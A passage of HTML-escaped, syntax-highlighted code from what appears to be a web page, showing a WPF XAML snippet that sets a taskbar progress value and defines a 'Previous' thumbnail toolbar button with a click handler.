blue;"&gt;="None"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red;"&gt; ProgressValue&lt;/span&gt;&lt;span style="color: blue;"&gt;="0"&amp;gt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #a31515;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;TaskbarItemInfo.ThumbButtonInfos&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #a31515;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;ThumbButtonInfo&lt;/span&gt;&lt;span style="color: red;"&gt; x&lt;/span&gt;&lt;span style="color: blue;"&gt;:&lt;/span&gt;&lt;span style="color: red;"&gt;Name&lt;/span&gt;&lt;span style="color: blue;"&gt;="previous"&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red;"&gt; Click&lt;/span&gt;&lt;span style="color: blue;"&gt;="previous_Click"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red;"&gt; Description&lt;/span&gt;&lt;span style="color: blue;"&gt;="Previous"&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&
